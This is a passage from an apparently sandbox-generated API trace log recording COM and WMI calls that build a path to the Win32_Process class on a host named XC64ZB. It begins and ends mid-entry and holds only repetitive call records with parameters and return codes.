[6]=0x0, [7]=0x46))) returned 0x0 [0120.252] WbemDefPath:IUnknown:Release (This=0x1b45cb90) returned 0x3 [0120.252] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0120.252] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0120.252] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0120.253] WbemDefPath:IUnknown:Release (This=0x1b4b0660) returned 0x2 [0120.253] WbemDefPath:IUnknown:Release (This=0x1b4b0660) returned 0x1 [0120.253] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0120.253] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0120.253] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4b0660) returned 0x0 [0120.253] WbemDefPath:IUnknown:AddRef (This=0x1b4b0660) returned 0x3 [0120.253] WbemDefPath:IUnknown:Release (This=0x1b4b0660) returned 0x2 [0120.253] WbemDefPath:IWbemPath:SetText (This=0x1b4b0660, uMode=0x4, pszPath="") returned 0x0 [0120.253] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0660, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0120.253] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af160, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0120.253] WbemDefPath:IWbemPath:GetClassName (in: This=0x1b4b0660, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0120.253] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4b0660, puNameBufLength=0x1b30d560*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d560*=0x0, pName=0x0) returned 0x80041009 [0120.253] WbemDefPath:IWbemPath:SetServer (This=0x1b4b0660, Name="XC64ZB") returned 0x0 [0120.253] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0120.253] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0120.253] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0120.253] IUnknown:Release (This=0x6124e8) returned 0x1 [0120.254] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b45cbb0) returned 0x0 [0120.254] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b45cbb0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0120.254] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b45cbb0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4af6a0) returned 0x0 [0120.254] WbemDefPath:IUnknown:Release (This=0x1b45cbb0) returned 0x0 [0120.254] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af6a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4af6a0) returned 0x0 [0120.254] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af6a0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0120.254] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af6a0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0120.254] WbemDefPath:IUnknown:AddRef (This=0x1b4af6a0) returned 0x3 [0120.254] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af6a0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0120.255] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af6a0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0120.255] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af6a0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b45cd30) returned 0x0 [0120.255] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b45cd30, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0120.255] WbemDefPath:IUnknown:Release (This=0x1b45cd30) returned 0x3 [0120.255] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0120.255] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0120.255] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af6a0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0120.255] WbemDefPath:IUnknown:Release (This=0x1b4af6a0) returned 0x2 [0120.255] WbemDefPath:IUnknown:Release (This=0x1b4af6a0) returned 0x1 [0120.255] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0120.255] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0120.255] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af6a0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4af6a0) returned 0x0 [0120.255] WbemDefPath:IUnknown:AddRef (This=0x1b4af6a0) returned 0x3 [0120.255] WbemDefPath:IUnknown:Release (This=0x1b4af6a0) returned 0x2 [0120.255] WbemDefPath:IWbemPath:SetText (This=0x1b4af6a0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0120.255] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0660, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0120.255] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af6a0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0120.255] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af6a0, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0120.255] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af6a0, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0120.255] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1b4b0660) returned 0x0 [0120.255] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af6a0, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0120.255] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4af6a0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0120.256] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4af6a0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="ROOT") returned 0x0 [0120.256] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4b0660, uIndex=0x0, pszName="ROOT") returned 0x0 [0120.256] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4af6a0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0120.256] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4af6a0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="CIMV2") returned 0x0 [0120.256] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4b0660, uIndex=0x1, pszName="CIMV2") returned 0x0 [0120.256] WbemDefPath:IWbemPath:GetClassName (in: This=0x1b4b0660, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0120.256] WbemDefPath:IWbemPath:SetClassName (This=0x1b4b0660, Name="Win32_Process") returned 0x0 [0120.256] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b0660, uRequestedInfo=0x0, puResponse=0x1b30d640 | out: puResponse=0x1b30d640*=0x20c16) returned 0x0 [0120.256] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0660, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0120.256] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0660, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x22, pszText=0x0) returned 0x0 [0120.256] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0660, lFlags=4, puBuffLength=0x1b30d590*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0120.256] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b0660, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0x20c16) returned 0x0 [0120.256] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0660, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0120.256] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0660, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x14, pszText=0x0) returned 0x0 [0120.256] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0660, lFlags=8, puBuffLength=0x1b30d590*=0x14, pszText="0000000000000000000" | out: puBuffLength=0x1b30d590*=0x14, pszText="\\\\XC64ZB\\ROOT\\CIMV2") returned 0x0 [0120.256] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af220, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0120.256] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af220, lFlags=16, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xb, pszText=0x0) returned 0x0 [0120.256] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af220, lFlags=16, puBuffLength=0x1b30d590*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d590*=0xb, pszText="root\\cimv2") returned 0x0 [0120.256] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0660, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0120.256] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0660, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0120.256] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d4e8 | out: ppv=0x1b30d4e8*=0x6124e8) returned 0x0 [0120.256] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4d8 | out: pAptType=0x1b30d4d8*=1) returned 0x0 [0120.256] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d4e0 | out: ppvObject=0x1b30d4e0*=0x0) returned 0x80004002 [0120.257] IUnknown:Release (This=0x6124e8) returned 0x1 [0120.257] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8d8 | out: ppv=0x1b30c8d8*=0x1b45d750) returned 0x0 [0120.257] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b45d750, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9c0 | out: ppvObject=0x1b30c9c0*=0x0) returned 0x80004002 [0120.257] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b45d750, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c998 | out: ppvObject=0x1b30c998*=0x1b4af2e0) returned 0x0 [0120.257] WbemDefPath:IUnknown:Release (This=0x1b45d750) returned 0x0 [0120.257] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c740 | out: ppvObject=0x1b30c740*=0x1b4af2e0) returned 0x0 [0120.257] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7d0 | out: ppvObject=0x1b30c7d0*=0x0) returned 0x80004002 [0120.257] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfc8 | out: ppvObject=0x1b30bfc8*=0x0) returned 0x80004002 [0120.258] WbemDefPath:IUnknown:AddRef (This=0x1b4af2e0) returned 0x3 [0120.258] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be88 | out: ppvObject=0x1b30be88*=0x0) returned 0x80004002 [0120.258] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be10 | out: ppvObject=0x1b30be10*=0x0) returned 0x80004002 [0120.258] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be00 | out: ppvObject=0x1b30be00*=0x1b45d590) returned 0x0 [0120.258] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b45d590, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be28 | out: pCid=0x1b30be28*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0120.258] WbemDefPath:IUnknown:Release (This=0x1b45d590) returned 0x3 [0120.258] CoGetContextToken (in: pToken=0x1b30beb0 | out: pToken=0x1b30beb0) returned 0x0 [0120.258] CoGetContextToken (in: pToken=0x1b30c330 | out: pToken=0x1b30c330) returned 0x0 [0120.258] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c3f0 | out: ppvObject=0x1b30c3f0*=0x0) returned 0x80004002 [0120.258] WbemDefPath:IUnknown:Release (This=0x1b4af2e0) returned 0x2 [0120.258] WbemDefPath:IUnknown:Release (This=0x1b4af2e0) returned 0x1 [0120.258] CoGetContextToken (in: pToken=0x1b30d120 | out: pToken=0x1b30d120) returned 0x0 [0120.258] CoGetContextToken (in: pToken=0x1b30d020 | out: pToken=0x1b30d020) returned 0x0 [0120.258] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x1b30d180*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d150 | out: ppvObject=0x1b30d150*=0x1b4af2e0) returned 0x0 [0120.258] WbemDefPath:IUnknown:AddRef (This=0x1b4af2e0) returned 0x3 [0120.258] WbemDefPath:IUnknown:Release (This=0x1b4af2e0) returned 0x2 [0120.258] WbemDefPath:IWbemPath:SetText (This=0x1b4af2e0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0120.258] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af220, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0120.258] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af220, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xf, pszText=0x0) returned 0x0 [0120.258] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af220, lFlags=8, puBuffLength=0x1b30d590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0120.259] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0120.259] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0120.259] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0120.259] IUnknown:Release (This=0x6124e8) returned 0x1 [0120.259] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b45d9d0) returned 0x0 [0120.259] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b45d9d0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0120.259] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b45d9d0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4b08a0) returned 0x0 [0120.259] WbemDefPath:IUnknown:Release (This=0x1b45d9d0) returned 0x0 [0120.260] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b08a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4b08a0) returned 0x0 [0120.260] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b08a0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0120.260] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b08a0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0120.260] WbemDefPath:IUnknown:AddRef (This=0x1b4b08a0) returned 0x3 [0120.260] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b08a0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0120.260] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b08a0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0120.260] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b08a0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b45d9f0) returned 0x0 [0120.260] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b45d9f0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0120.260] WbemDefPath:IUnknown:Release (This=0x1b45d9f0) returned 0x3 [0120.260] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0120.260] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0120.260] WbemDefPath:IUnknown:QueryInterface (in: 